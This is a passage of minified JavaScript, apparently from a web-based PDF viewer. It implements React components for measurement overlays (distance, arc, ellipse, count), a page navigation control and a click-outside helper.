Array(t);n<t;n++)r[n]=e[n];return r}function Rm(e){var t=e.t,n=e.annotation,r=e.isOpen,o=le((function(e){return fi.isDocumentReadOnly(e)})),i=ac(n),a=sc(i).icon,u=n.Scale,c=n.Precision,f=Am(n.Scale[1][1]);Object(l.useEffect)((function(){var e=function(){w(d())};return vt.addEventListener("mouseMove",e),function(){vt.removeEventListener("mouseMove",e)}}));var d=function(){var e=p(n),t=n.Measure.axis[0].factor;return((n.Width/2).toFixed(e)*t).toFixed(e)},p=function(e){return 1===e.Precision?0:e.Precision.toString().split(".")[1].length},h=function(e){var t=Math.abs(e.target.value),r=2*(t/n.Measure.axis[0].factor),o=n.getRect(),i={x1:o.x1,y1:o.y1,x2:o.x1+r,y2:o.y1+r};n.setHeight(r),n.setWidth(r),n.resize(i),w(t),m(),vt.getTool("AnnotationCreateEllipseMeasurement").finish()},m=Object(l.useCallback)((function(){var e=vt.getAnnotationManager();e.redrawAnnotation(n),e.trigger("annotationChanged",[[n],"modify",[]])}),[n]),g=Object(l.useCallback)((function(){var e=vt.getCurrentPage(),t=window.documentViewer.getPageWidth(e),r=window.documentViewer.getPageHeight(e),o=t-n.X,i=r-n.Y;return Math.min(o,i)}),[n]),v=Object(l.useCallback)((function(e){if(e>g()){var t=n.getRect(),r=t.x1,o=t.x2,i=t.y1,a=t.y2,l=n.Width,s=n.Height,u=vt.getCurrentPage(),c=window.documentViewer.getPageWidth(u),f=window.documentViewer.getPageHeight(u);o>c&&(t.x2=c,l=c-r),a>f&&(t.y2=f,s=f-i),l<c?n.setWidth(l):n.setWidth(c),s<f?n.setHeight(s):n.setHeight(f),n.resize(t),m()}}),[n,m,g]);Object(l.useEffect)((function(){r||v(n.getWidth())}),[n,v,r]);var y=Pm(Object(l.useState)(d()),2),b=y[0],w=y[1];return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"measurement__title"},a&&s.a.createElement(cf,{className:"measurement__icon",glyph:a}),t("option.measurementOverlay.areaMeasurement")),s.a.createElement("div",{className:"measurement__scale"},t("option.measurementOverlay.scale"),": ","".concat(u[0][0]," ").concat(u[0][1]," = ").concat(u[1][0]," ").concat(f)),s.a.createElement("div",{className:"measurement__precision"},t("option.shared.precision"),": ",c),s.a.createElement("div",{className:"measurement__value"},t("option.measurementOverlay.area"),": ",n.getContents()),s.a.createElement("div",{className:"measurement__value"},t("option.measurementOverlay.radius"),":",s.a.createElement("input",{autoFocus:!jt,className:"lineMeasurementInput",type:"number",min:"0",disabled:o,value:b,onChange:function(e){h(e),vt.getAnnotationManager().selectAnnotation(n)},onBlur:function(e){return function(e){var t=Math.abs(e.target.value),r=n.Measure.axis[0].factor;v(2*(t/r))}(e)},onKeyDown:function(e){"Enter"===e.key&&(h(e),vt.getAnnotationManager().deselectAnnotation(n))}})," ",f))}Rm.propTypes={annotation:Is.a.object.isRequired,t:Is.a.func.isRequired,isOpen:Is.a.bool.isRequired};var jm=xm()(Rm);function Lm(e){var t=ac(e.annotation),n=e.translate,r=e.annotation,o=sc(t).icon,i=r.Scale,a=r.Precision;return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"measurement__title"},o&&s.a.createElement(cf,{className:"measurement__icon",glyph:o}),n("option.measurementOverlay.arcMeasurement")),s.a.createElement("div",{className:"measurement__scale"},n("option.measurementOverlay.scale"),": ","".concat(i[0][0]," ").concat(i[0][1]," = ").concat(i[1][0]," ").concat(i[1][1])),s.a.createElement("div",{className:"measurement__precision"},n("option.shared.precision"),": ",a),s.a.createElement("div",{className:"measurement__circumference"},n("option.measurementOverlay.length"),": ",r.Length),s.a.createElement("div",{className:"measurement__radius"},n("option.measurementOverlay.radius"),": ",r.Radius),s.a.createElement("div",{className:"measurement__radius"},n("option.measurementOverlay.angle"),": ","".concat(r.Angle.toFixed(2),"°")))}Lm.propTypes={annotation:Is.a.object.isRequired,translate:Is.a.func.isRequired};var Im=xm()(Lm);function Nm(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return Dm(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Dm(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Dm(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function Fm(e){var t=e.t,n=e.annotation,r=e.isOpen,o=le((function(e){return fi.isDocumentReadOnly(e)})),i=n.Measure.axis[0].factor,a=Am(n.DisplayUnits[n.DisplayUnits.length-1]),u=Nm(Object(l.useState)((n.getLineLength()*i).toFixed(2)),2),c=u[0],f=u[1],d=Nm(Object(l.useState)(!0),2),p=d[0],h=d[1],m=Object(l.useRef)();yp(m,(function(){return h(!0)})),Object(l.useEffect)((function(){var e=function(){f((n.getLineLength()*i).toFixed(2)),T(O())};return vt.addEventListener("mouseMove",e),function(){vt.removeEventListener("mouseMove",e)}}),[n,O,i]);var g=function(e){f(e.target.value),w(e),v()},v=function(){vt.getTool("AnnotationCreateDistanceMeasurement").finish()},y=function(){vt.getAnnotationManager().selectAnnotation(n)},b=function(){vt.getAnnotationManager().deselectAnnotation(n)},w=function(e){var t=Math.abs(e.target.value),r=n.Measure.axis[0].factor;E(t/r)},E=Object(l.useCallback)((function(e){if(r=n.getLineLength(),o=e,!(Math.abs(r-o)<.1)){var t=C();n.setLineLength(Math.min(t,e)),S()}var r,o}),[n,S,C]),S=Object(l.useCallback)((function(){var e=vt.getAnnotationManager();e.drawAnnotations(n.PageNumber),e.trigger("annotationChanged",[[n],"modify",{}])}),[n]),C=Object(l.useCallback)((function(){var e,t,r=vt.getCurrentPage(),o=window.documentViewer.getPageWidth(r),i=window.documentViewer.getPageHeight(r),a=n.getAngle()*(180/Math.PI).toFixed(2),l=n.getStartPoint(),s=l.x,u=l.y;e=Math.abs(a)<90?o:0,t=a>0?i:0;var c=Math.abs((e-s)/Math.cos(n.getAngle())),f=Math.abs((t-u)/Math.sin(n.getAngle()));return Math.min(c,f)}),[n]),x=function(e){T(e.target.value),function(e){var t=e.target.value*(Math.PI/180)*-1,r=n.getLineLength(),o=n.Start,i=Math.cos(t)*r+o.x,a=Math.sin(t)*r+o.y;n.setEndPoint(i,a),n.adjustRect(),S()}(e),v()},O=Object(l.useCallback)((function(){var e=n.getAngle();return((e=(e*=-1)<0?e+2*Math.PI:e)/Math.PI*180).toFixed(2)}),[n]),A=Nm(Object(l.useState)(O()),2),_=A[0],T=A[1];return Object(l.useEffect)((function(){r||E(n.getLineLength())}),[n,E,r]),s.a.createElement("div",null,s.a.createElement("div",{className:"measurement__value"},t("option.measurementOverlay.distance"),": "," ",p&&n.DisplayUnits.length>1?s.a.createElement("div",{onClick:function(){return h(!1)},className:"distance-show"},n.getContents()):s.a.createElement(s.a.Fragment,null,s.a.createElement("input",{className:"lineMeasurementInput",type:"number",min:"0",disabled:o,value:c,ref:m,autoFocus:!jt,onChange:function(e){g(e),y()},onBlur:function(e){return w(e)},onKeyDown:function(e){"Enter"===e.key&&(g(e),b())}})," ",a)),s.a.createElement("div",{className:"angle_input"},t("option.measurementOverlay.angle"),": "," ",s.a.createElement("input",{className:"lineMeasurementInput",type:"number",min:"0",max:"360",disabled:o,value:_,onChange:function(e){x(e),y()},onKeyDown:function(e){"Enter"===e.key&&(x(e),b())}})," °"))}Fm.propTypes={annotation:Is.a.object.isRequired,isOpen:Is.a.bool.isRequired,t:Is.a.func.isRequired};var Bm=Fm;function Hm(e){var t=ac(e.annotation),n=sc(t).icon,r=e.t,o=vt.getAnnotationsList().filter((function(e){return e.getCustomData("trn-is-count")})).length;return s.a.createElement(s.a.Fragment,null,s.a.createElement("div",{className:"measurement__title"},n&&s.a.createElement(cf,{className:"measurement__icon",glyph:n}),r("option.measurementOverlay.countMeasurement")),s.a.createElement("div",{className:"measurement__count"},r("option.measurementOverlay.count"),": ",o))}Hm.propTypes={annotation:Is.a.object.isRequired,t:Is.a.func.isRequired};var Vm=xm()(Hm);function zm(e){return(zm="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function Um(){return(Um=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function Gm(e){return function(e){if(Array.isArray(e))return Wm(e)}(e)||function(e){if("undefined"!=typeof Symbol&&null!=e[Symbol.iterator]||null!=e["@@iterator"])return Array.from(e)}(e)||function(e,t){if(!e)return;if("string"==typeof e)return Wm(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return Wm(e,t)}(e)||function(){throw new TypeError("Invalid attempt to spread non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function Wm(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}function qm(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function Zm(e,t){return(Zm=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function Ym(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=Xm(e);if(t){var o=Xm(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return $m(this,n)}}function $m(e,t){if(t&&("object"===zm(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return Km(e)}function Km(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Xm(e){return(Xm=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function Qm(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var Jm=function(e){return[1/8,1/16,1/32,1/64].includes(e)},eg=function(e,t){var n=t,r=Math.round(e*n);if(r===n)return"1";var o=function e(t,n){return 0===n?t:e(n,t%n)}(r,n);return r?"".concat(r/o,"/").concat(n/o):""},tg=function(e,t){var n=Math.floor(e),r=eg(e-n,t);return"1"===r&&(r="0",n++),n?"0"!==r?"".concat(n," ").concat(r):n:r&&"0"!==r?r:0},ng=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&Zm(e,t)}(i,e);var t,n,r,o=Ym(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),Qm(Km(t=o.call(this,e)),"onMouseMove",(function(e){var n=t.props,r=n.activeToolName,o=n.openElement,i=vt.getTool(r);if(t.state.annotation){var a,l=t.isMouseInsideRect(e,t.overlayRef.current);if(t.isCreatingAnnotation){var s,u,c=null===(s=(u=vt.getToolMode()).getDrawMode)||void 0===s?void 0:s.call(u);a=l&&"twoClicks"!==c}else{var f=vt.getAnnotationByMouseEvent(e);a=l&&f===t.state.annotation}t.setState({transparentBackground:a}),t.forceUpdate()}else(t.isMeasurementToolWithInfo(i)&&!t.isSmallAnnotation(i.annotation)||t.shouldShowCustomOverlay(i.annotation))&&(o("measurementOverlay"),t.setState({annotation:i.annotation}),t.isCreatingAnnotation=!0)})),Qm(Km(t),"isMouseInsideRect",(function(e,t){if(null===t)return!1;var n,r,o=t.getBoundingClientRect();return e.touches&&e instanceof TouchEvent?(n=e.touches[0].clientX,r=e.touches[0].clientY):(n=e.clientX,r=e.clientY),n>=o.left&&n<=o.right&&r>=o.top&&r<=o.bottom})),Qm(Km(t),"isSmallAnnotation",(function(e){var t=e.getWidth(),n=e.getHeight(),r=2*(e.getRectPadding()+1);return t<=r&&n<=r})),Qm(Km(t),"onAnnotationSelected",(function(e,n){var r=t.props,o=r.openElement,i=r.closeElement;"selected"===n&&1===e.length&&(t.isMeasurementAnnotation(e[0])||t.shouldShowCustomOverlay(e[0]))?(t.setState({annotation:e[0]}),o("measurementOverlay")):"deselected"!==n||vt.isAnnotationSelected(t.state.annotation)||i("measurementOverlay")})),Qm(Km(t),"onAnnotationChanged",(function(e,n){"add"===n&&1===e.length&&e[0]===t.state.annotation&&t.props.closeElement("measurementOverlay"),"modify"===n&&1===e.length&&e[0]===t.state.annotation&&t.forceUpdate()})),Qm(Km(t),"isMeasurementAnnotation",(function(e){return["distanceMeasurement","perimeterMeasurement","arcMeasurement","areaMeasurement","rectangularAreaMeasurement","cloudyRectangularAreaMeasurement","ellipseMeasurement","countMeasurement"].includes(ac(e))})),Qm(Km(t),"isMeasurementTool",(function(e){return["distanceMeasurement","perimeterMeasurement","arcMeasurement","areaMeasurement","rectangularAreaMeasurement","cloudyRectangularAreaMeasurement","ellipseMeasurement","countMeasurement"].includes(ic(e))})),Qm(Km(t),"shouldShowCustomOverlay",(function(e){return!t.isMeasurementAnnotation(e)&&t.props.customMeasurementOverlay.some((function(t){return t.validate(e)}))})),Qm(Km(t),"shouldShowInfo",(function(e){var t,n=ac(e);return"cloudyRectangularAreaMeasurement"===n?t=e.getPath().length>1:"distanceMeasurement"!==n&&"ellipseMeasurement"!==n||(t=!0),t})),Qm(Km(t),"getAngleInRadians",(function(e,t,n){var r;if(e&&t)if(n){var o=Math.sqrt(Math.pow(t.x-e.x,2)+Math.pow(t.y-e.y,2)),i=Math.sqrt(Math.pow(t.x-n.x,2)+Math.pow(t.y-n.y,2)),a=Math.sqrt(Math.pow(n.x-e.x,2)+Math.pow(n.y-e.y,2));r=Math.acos((i*i+o*o-a*a)/(2*i*o))}else r=Math.atan2(t.y-e.y,t.x-e.x),r=(r=Math.abs(r))>Math.PI/2?Math.PI-r:r;return r})),Qm(Km(t),"getNumberOfDecimalPlaces",(function(e){return 1===e.Precision?0:e.Precision.toString().split(".")[1].length})),Qm(Km(t),"syncDraggablePosition",(function(e,n){var r=n.x,o=n.y;t.setState({position:{x:r,y:o}})})),Qm(Km(t),"renderTitle",(function(){var e=t.props.t,n=ac(t.state.annotation),r=sc(n).icon,o={distanceMeasurement:e("option.measurementOverlay.distanceMeasurement"),perimeterMeasurement:e("option.measurementOverlay.perimeterMeasurement"),arcMeasurement:e("option.measurementOverlay.arcMeasurement"),areaMeasurement:e("option.measurementOverlay.areaMeasurement"),rectangularAreaMeasurement:e("option.measurementOverlay.areaMeasurement"),cloudyRectangularAreaMeasurement:e("option.measurementOverlay.areaMeasurement")};return s.a.createElement("div",{className:"measurement__title"},r&&s.a.createElement(cf,{className:"measurement__icon",glyph:r}),o[n])})),Qm(Km(t),"renderScaleRatio",(function(){var e=t.state.annotation,n=Jm(e.Precision),r=Am(e.DisplayUnits[0]),o=e.Scale,i=t.getNumberOfDecimalPlaces(e),a=n?tg(o[0][0],1/e.Precision):o[0][0],l=n?tg(o[1][0],1/e.Precision):o[1][0].toFixed(i);return"".concat(a," ").concat(o[0][1]," = ").concat(l," ").concat(r)})),Qm(Km(t),"renderValue",(function(){var e=t.state.annotation,n=t.props.t,r=ac(e),o={distanceMeasurement:n("option.measurementOverlay.distance"),perimeterMeasurement:n("option.measurementOverlay.perimeter"),arcMeasurement:n("option.measurementOverlay.arc"),areaMeasurement:n("option.measurementOverlay.area"),rectangularAreaMeasurement:n("option.measurementOverlay.area"),cloudyRectangularAreaMeasurement:n("option.measurementOverlay.area")};return s.a.createElement("div",{className:"measurement__value"},o[r],": ",e.getContents())})),Qm(Km(t),"renderDeltas",(function(){var e,n,r=t.state.annotation,o=Jm(r.Precision),i=t.getAngleInRadians(r.Start,r.End),a=Am(r.DisplayUnits[0]),l=t.getNumberOfDecimalPlaces(r),u=(e=r.getContents(),(e=null===(n=e)||void 0===n?void 0:n.replace(Om,""))?parseFloat(e):void 0),c=Math.abs(u*Math.cos(i)),f=Math.abs(u*Math.sin(i)),d=isNaN(c)?0:o?tg(c,1/r.Precision):c.toFixed(l),p=isNaN(f)?0:o?tg(f,1/r.Precision):f.toFixed(l);return s.a.createElement("div",{className:"measurement__deltas"},s.a.createElement("div",{className:"measurement__deltas--X"},"ΔX: ",d," ",a),s.a.createElement("div",{className:"measurement__deltas--Y"},"ΔY: ",p," ",a))})),Qm(Km(t),"renderAngle",(function(){var e,n=t.state.annotation,r=function(e){var t=e.getPath(),n=t.length;return[t[n-3],t[n-2],t[n-1]]},o={distanceMeasurement:function(e){return[e.Start,e.End]},perimeterMeasurement:r,arcMeasurement:r,areaMeasurement:r,rectangularAreaMeasurement:r,cloudyRectangularAreaMeasurement:r}[ac(n)](n).filter((function(e){return!!e})),i=(e=t).getAngleInRadians.apply(e,Gm(o));if(i){var a=t.getNumberOfDecimalPlaces(n);i=(i/Math.PI*180).toFixed(a)}return void 0!==i&&s.a.createElement("div",{className:"measurement__angle"},t.props.t("option.measurementOverlay.angle"),": ",i,"°")})),Qm(Km(t),"renderOverlay",(function(e,n,r,o){if(t.shouldShowCustomOverlay(e))return s.a.createElement(km,Um({annotation:e},t.props.customMeasurementOverlay.filter((function(t){return t.validate(e)}))[0]));if("ellipseMeasurement"===o)return s.a.createElement(jm,{annotation:e,isOpen:r});if("countMeasurement"===o)return s.a.createElement(Vm,{annotation:e,t:n});if("arcMeasurement"===o)return s.a.createElement(Im,{annotation:e,translate:n});var i=Jm(e.Precision);return s.a.createElement(s.a.Fragment,null,t.renderTitle(),s.a.createElement("div",{className:"measurement__scale"},n("option.measurementOverlay.scale"),": ",t.renderScaleRatio()),s.a.createElement("div",{className:"measurement__precision"},n("option.shared.precision"),": ",i?eg(e.Precision,1/e.Precision):e.Precision),"distanceMeasurement"===o?s.a.createElement(Bm,{annotation:e,isOpen:r,t:n}):t.renderValue(),"distanceMeasurement"===o&&t.renderDeltas(),"rectangularAreaMeasurement"!==o&&"distanceMeasurement"!==o&&"cloudyRectangularAreaMeasurement"!==o&&t.renderAngle())})),t.state={annotation:null,transparentBackground:!1,position:{x:0,y:0}},t.overlayRef=s.a.createRef(),t.isCreatingAnnotation=!1,t}return t=i,(n=[{key:"componentDidMount",value:function(){vt.addEventListener("mouseMove",this.onMouseMove),vt.addEventListener("annotationSelected",this.onAnnotationSelected),vt.addEventListener("annotationChanged",this.onAnnotationChanged)}},{key:"componentDidUpdate",value:function(e){if(e.activeToolName!==this.props.activeToolName){var t=this.props,n=t.openElement,r=t.closeElement;this.isMeasurementTool(this.props.activeToolName)?n("measurementOverlay"):r("measurementOverlay")}e.isOpen&&!this.props.isOpen&&(this.setState({annotation:null,transparentBackground:!1}),this.isCreatingAnnotation=!1)}},{key:"componentWillUnmount",value:function(){vt.removeEventListener("mouseMove",this.onMouseMove),vt.removeEventListener("annotationSelected",this.onAnnotationSelected),vt.removeEventListener("annotationChanged",this.onAnnotationChanged)}},{key:"isMeasurementToolWithInfo",value:function(e){var t=this.props.activeToolName;return this.isMeasurementTool(t)&&e.annotation&&this.shouldShowInfo(e.annotation)}},{key:"render",value:function(){var e=this.state,t=e.annotation,n=e.position,r=e.transparentBackground,o=this.props,i=o.isDisabled,a=o.t,l=o.isOpen,u=ac(t);return i||!t?null:s.a.createElement(ym.a,{cancel:"input",position:n,onDrag:this.syncDraggablePosition,onStop:this.syncDraggablePosition},s.a.createElement("div",{className:js()({Overlay:!0,MeasurementOverlay:!0,open:l,closed:!l,transparent:r}),ref:this.overlayRef,"data-element":"measurementOverlay"},this.renderOverlay(t,a,l,u)))}}])&&qm(t.prototype,n),r&&qm(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);Qm(ng,"propTypes",{isOpen:Is.a.bool,isDisabled:Is.a.bool,openElement:Is.a.func.isRequired,closeElement:Is.a.func.isRequired,activeToolName:Is.a.string.isRequired,t:Is.a.func.isRequired,customMeasurementOverlay:Is.a.array});var rg=Q((function(e){return{isOpen:fi.isElementOpen(e,"measurementOverlay"),isDisabled:fi.isElementDisabled(e,"measurementOverlay"),activeToolName:fi.getActiveToolName(e),customMeasurementOverlay:fi.getCustomMeasurementOverlay(e)}}),{openElement:Ps.openElement,closeElement:Ps.closeElement})(xm()(ng));n(945);function og(e){return(og="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(e){return typeof e}:function(e){return e&&"function"==typeof Symbol&&e.constructor===Symbol&&e!==Symbol.prototype?"symbol":typeof e})(e)}function ig(){return(ig=Object.assign||function(e){for(var t=1;t<arguments.length;t++){var n=arguments[t];for(var r in n)Object.prototype.hasOwnProperty.call(n,r)&&(e[r]=n[r])}return e}).apply(this,arguments)}function ag(e,t){for(var n=0;n<t.length;n++){var r=t[n];r.enumerable=r.enumerable||!1,r.configurable=!0,"value"in r&&(r.writable=!0),Object.defineProperty(e,r.key,r)}}function lg(e,t){return(lg=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function sg(e){var t=function(){if("undefined"==typeof Reflect||!Reflect.construct)return!1;if(Reflect.construct.sham)return!1;if("function"==typeof Proxy)return!0;try{return Boolean.prototype.valueOf.call(Reflect.construct(Boolean,[],(function(){}))),!0}catch(e){return!1}}();return function(){var n,r=fg(e);if(t){var o=fg(this).constructor;n=Reflect.construct(r,arguments,o)}else n=r.apply(this,arguments);return ug(this,n)}}function ug(e,t){if(t&&("object"===og(t)||"function"==typeof t))return t;if(void 0!==t)throw new TypeError("Derived constructors may only return object or undefined");return cg(e)}function cg(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function fg(e){return(fg=Object.setPrototypeOf?Object.getPrototypeOf:function(e){return e.__proto__||Object.getPrototypeOf(e)})(e)}function dg(e,t,n){return t in e?Object.defineProperty(e,t,{value:n,enumerable:!0,configurable:!0,writable:!0}):e[t]=n,e}var pg=function(e){!function(e,t){if("function"!=typeof t&&null!==t)throw new TypeError("Super expression must either be null or a function");e.prototype=Object.create(t&&t.prototype,{constructor:{value:e,writable:!0,configurable:!0}}),Object.defineProperty(e,"prototype",{writable:!1}),t&&lg(e,t)}(i,e);var t,n,r,o=sg(i);function i(e){var t;return function(e,t){if(!(e instanceof t))throw new TypeError("Cannot call a class as a function")}(this,i),dg(cg(t=o.call(this,e)),"onClick",(function(){Mt?setTimeout((function(){t.textInput.current.setSelectionRange(0,9999)}),0):t.textInput.current.select()})),dg(cg(t),"onChange",(function(e){var n;null!==(n=t.props.pageLabels)&&void 0!==n&&n.some((function(t){return t.startsWith(e.target.value)}))&&t.setState({input:e.target.value})})),dg(cg(t),"onSubmit",(function(e){e.preventDefault();var n=t.state.input;if(""===n||t.props.pageLabels.includes(n)){var r=t.props.pageLabels.indexOf(n)+1;vt.setCurrentPage(r)}else t.textInput.current.blur()})),dg(cg(t),"onBlur",(function(){var e=t.props,n=e.currentPage,r=e.pageLabels;t.setState({input:r[n-1],isFocused:!1})})),dg(cg(t),"onFocus",(function(){t.setState({isFocused:!0})})),dg(cg(t),"goToPrevPage",(function(){window.documentViewer.getCurrentPage()-1>0&&window.documentViewer.setCurrentPage(Math.max(window.documentViewer.getCurrentPage()-1,1))})),dg(cg(t),"goToNextPage",(function(){window.documentViewer.getCurrentPage()+1<=window.documentViewer.getPageCount()&&window.documentViewer.setCurrentPage(Math.min(window.documentViewer.getCurrentPage()+1,window.documentViewer.getPageCount()))})),t.textInput=s.a.createRef(),t.state={input:"",isCustomPageLabels:!1,isFocused:!1},t}return t=i,(n=[{key:"componentDidUpdate",value:function(e){if(e.pageLabels!==this.props.pageLabels){var t=this.props.pageLabels.some((function(e,t){return e!=="".concat(t+1)}));this.setState({isCustomPageLabels:t})}e.currentPage===this.props.currentPage&&e.pageLabels===this.props.pageLabels||this.setState({input:this.props.pageLabels[this.props.currentPage-1]})}},{key:"render",value:function(){var e=this.props,t=e.currentPage,n=e.totalPages,r=e.allowPageNavigation,o=e.isMobile,i=e.t,a=e.dataElement,l=e.enableFadePageNavigation,u=this.state.input?this.state.input.length*(o?10:8):0,c=1===window.documentViewer.getCurrentPage(),f=window.documentViewer.getCurrentPage()===window.documentViewer.getPageCount();return s.a.createElement(Uf,{className:js()({Overlay:!0,PageNavOverlay:!0,FadeOut:l&&!this.props.showNavOverlay&&!this.state.isFocused}),dataElement:a||"pageNavOverlay",onMouseEnter:this.props.onMouseEnter,onMouseLeave:this.props.onMouseLeave},s.a.createElement(bf,{className:"side-arrow-container",img:"icon-chevron-left",title:c?null:i("action.pagePrev"),ariaLabel:i("action.pagePrev"),onClick:this.goToPrevPage,iconClassName:"side-arrow",forceTooltipPosition:"top",disabled:c}),s.a.createElement("div",{className:"formContainer",onClick:this.onClick},s.a.createElement("form",{onSubmit:this.onSubmit,onBlur:this.onBlur,onFocus:this.onFocus},s.a.createElement("input",{ref:this.textInput,type:"text",value:this.state.input,onChange:this.onChange,tabIndex:-1,disabled:!r,style:{width:u},"aria-label":i("action.pageSet")}),this.state.isCustomPageLabels?" (".concat(t,"/").concat(n,")"):" / ".concat(n))),s.a.createElement(bf,{className:"side-arrow-container",img:"icon-chevron-right",title:f?null:i("action.pageNext"),ariaLabel:i("action.pageNext"),onClick:this.goToNextPage,iconClassName:"side-arrow",forceTooltipPosition:"top",disabled:f}))}}])&&ag(t.prototype,n),r&&ag(t,r),Object.defineProperty(t,"prototype",{writable:!1}),i}(s.a.PureComponent);dg(pg,"propTypes",{isLeftPanelDisabled:Is.a.bool,isLeftPanelOpen:Is.a.bool,isOpen:Is.a.bool,currentPage:Is.a.number,totalPages:Is.a.number,pageLabels:Is.a.array.isRequired,allowPageNavigation:Is.a.bool.isRequired,enableFadePageNavigation:Is.a.bool.isRequired});var hg=Q((function(e){return{currentPage:fi.getCurrentPage(e),totalPages:fi.getTotalPages(e),pageLabels:fi.getPageLabels(e),allowPageNavigation:fi.getAllowPageNavigation(e),enableFadePageNavigation:fi.shouldFadePageNavigationComponent(e)}}))(xm()(pg)),mg=function(e){var t=Rf(["(max-width: 640px)"],[!0],!1);return s.a.createElement(hg,ig({},e,{isMobile:t}))};function gg(e,t){return function(e){if(Array.isArray(e))return e}(e)||function(e,t){var n=null==e?null:"undefined"!=typeof Symbol&&e[Symbol.iterator]||e["@@iterator"];if(null==n)return;var r,o,i=[],a=!0,l=!1;try{for(n=n.call(e);!(a=(r=n.next()).done)&&(i.push(r.value),!t||i.length!==t);a=!0);}catch(e){l=!0,o=e}finally{try{a||null==n.return||n.return()}finally{if(l)throw o}}return i}(e,t)||function(e,t){if(!e)return;if("string"==typeof e)return vg(e,t);var n=Object.prototype.toString.call(e).slice(8,-1);"Object"===n&&e.constructor&&(n=e.constructor.name);if("Map"===n||"Set"===n)return Array.from(e);if("Arguments"===n||/^(?:Ui|I)nt(?:8|16|32)(?:Clamped)?Array$/.test(n))return vg(e,t)}(e,t)||function(){throw new TypeError("Invalid attempt to destructure non-iterable instance.\nIn order to be iterable, non-array objects must have a [Symbol.iterator]() method.")}()}function vg(e,t){(null==t||t>e.length)&&(t=e.length);for(var n=0,r=new Array(t);n<t;n++)r[n]=e[n];return r}var yg=function(e){var t=e.toolName,n=e.isToolStyleOpen,r=gg(le((function(e){return[fi.getActiveToolName(e)===t]})),1)[0],o=re();return s.a.createElement("div",{className:js()({"tool-button-container":!0})},s.a.createElement(kf,{toolName:t}),s.a.createElement("div",{className:"tool-button-arrow-container"},r&&s.a.createElement("div",{className:"tool-button-arrow-inner-container",onClick:function(){return o(Ps.toggleElement("toolStylePopup"))}},n?s.a.createElement(cf,{className:"tool-button-arrow-up",glyph:"icon-chevron-up"}):s.a.createElement(cf,{className:"tool-button-arrow-down",glyph:"icon-chevron-down"}))))};function bg(e,t){return(bg=Object.setPrototypeOf||function(e,t){return e.__proto__=t,e})(e,t)}function wg(e){if(void 0===e)throw new ReferenceError("this hasn't been initialised - super() hasn't been called");return e}function Eg(e,t,n){return e===t||(e.correspondingElement?e.correspondingElement.classList.contains(n):e.classList.contains(n))}var Sg,Cg,xg=(void 0===Sg&&(Sg=0),function(){return++Sg}),Og={},Ag={},_g=["touchstart","touchmove"];function Tg(e,t){var n=null;return-1!==_g.indexOf(t)&&Cg&&(n={passive:!e.props.preventDefault}),n}var kg=function(e,t){var n,r,o=e.displayName||e.name||"Component";return r=n=function(n){var r,i;function a(e){var r;return(r=n.call(this,e)||this).__outsideClickHandler=function(e){if("function"!=typeof r.__clickOutsideHandlerProp){var t=r.getInstance();if("function"!=typeof t.props.handleClickOutside){if("function"!=typeof t.handleClickOutside)throw new Error("WrappedComponent: "+o+" lacks a handleClickOutside(event) function for processing outside click events.");t.handleClickOutside(e)}else t.props.handleClickOutside(e)}else 